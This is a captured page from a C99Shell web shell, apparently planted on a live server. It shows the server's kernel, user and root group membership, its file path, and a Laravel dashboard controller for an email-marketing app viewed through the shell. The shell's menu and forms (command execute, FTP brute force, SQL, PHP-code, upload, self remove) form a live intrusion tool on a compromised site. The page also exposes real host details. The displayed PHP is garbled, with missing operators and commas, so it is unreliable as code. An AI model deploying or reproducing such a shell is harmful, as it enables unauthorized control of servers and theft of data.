!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/picomail.picotech.app/public_html/app/Http/Controllers/Customer/   drwxr-xr-x
Free 28.52 GB of 117.98 GB (24.17%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     DashboardController.php (3.99 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Customer;

use 
App\Http\Controllers\Controller;
use 
Carbon\Carbon;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\DB;

class 
DashboardController extends Controller
{


    public function 
index()
    {
        
$user auth()->guard('customer')->user();
        
$plan=auth('customer')->user()->plan;
        
$data['newMessageCount'] = $user->message_logs()->where('created_at','>'Carbon::now()->subDays(7))->count();
        
$data['inboxCount'] = $user->message_logs()->where('type','inbox')->count();
        
$data['sentCount'] = $user->message_logs()->where('type','sent')->count();
        
$data['sender'] = $user->senders()->first();
        
$data['email_template'] = $user->email_templates()->first();
        
$data['group'] = $user->groups()->first();

        
$inboxes $user->message_logs()->where('type','inbox')
            ->
select(DB::Raw('count(*) as count'),DB::Raw('DATE(created_at) day'))
            ->
where('created_at''>'Carbon::now()->startOfWeek())
            ->
groupBy('day')->get()
            ->
pluck('count','day');
        
$data['weekDates']=getLastNDays(7);
        
$chatInboxes=[];
        foreach (
getLastNDays(7) as $day){
            
$chatInboxes[]=isset($inboxes[trim($day'"')])?$inboxes[trim($day'"')]:0;
        }
//        Campaign Statistic
        
$campaignIds $user->campaings()->pluck('id');
        
$clicked_report$user->message_logs()->whereIn('campaign_id'$campaignIds)->select(DB::raw("HOUR(updated_at) as hourNo,COUNT(*) as count"))
            ->
where('is_clicked''yes')
            ->
whereDate('updated_at'now())
            ->
orderBy("hourNo")
            ->
groupBy(DB::raw("hour(updated_at)"))
            ->
get()
            ->
mapToGroups(function ($item$key) {
                return [
"" $item->hourNo => $item];
            });
        
$generatedClickedArray=[];
        for(
$i=0;$i<24;$i++){
            
$generatedClickedArray[]=[$i, isset($clicked_report[$i])?$clicked_report[$i][0]->count:0];
        }
        
$open_report$user->message_logs()->whereIn('campaign_id'$campaignIds)->select(DB::raw("HOUR(updated_at) as hourNo,COUNT(*) as count"))
            ->
where('is_open''yes')
            ->
whereDate('updated_at'now())
            ->
orderBy("hourNo")
            ->
groupBy(DB::raw("hour(updated_at)"))
            ->
get()
            ->
mapToGroups(function ($item$key) {
                return [
"" $item->hourNo => $item];
            });
        
$generatedOpenArray=[];
        for(
$i=0;$i<24;$i++){
            
$generatedOpenArray[]=[$i, isset($open_report[$i])?$open_report[$i][0]->count:0];
        }
        
$data['clicked_report'] =  $generatedClickedArray;
        
$data['open_report'] =  $generatedOpenArray;
        
$totalMessage $user->message_logs()->whereIn('campaign_id'$campaignIds)->count();
        
$data['total_opened']=$total_opened=$user->message_logs()->whereIn('campaign_id'$campaignIds)->select(DB::raw('COUNT(*) as count'),DB::raw('max(updated_at) as updated_at'))->where('is_open''yes')->groupBy('is_open')->get();
        
$data['total_clicked']=$total_clicked=$user->message_logs()->whereIn('campaign_id'$campaignIds)->where('is_clicked''yes')->count();
        
$data['total_delivered']=$user->message_logs()->whereIn('campaign_id'$campaignIds)->where('status''succeed')->count();
        if (isset(
$total_opened[0]->count)) {
            
$data['open_ratio'] = round((($total_opened[0]->count 100) / $totalMessage), 2);
            
$data['clicked_ratio'] = round((($total_clicked 100) / $totalMessage), 2);
        }
//        End Campaign Statistic

        
$data['chart_inbox']=$chatInboxes;
        
$data['remaining_email']=$plan->available_emails??0;
        
$data['campaigns'] = auth('customer')->user()->campaings()->orderByDesc('id')->limit(10)->get();
        
$data['activities']=$user->activities()->orderBy('created_at','desc')->limit(1)->get();
        return 
view('customer.dashboard'$data);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.004 ]--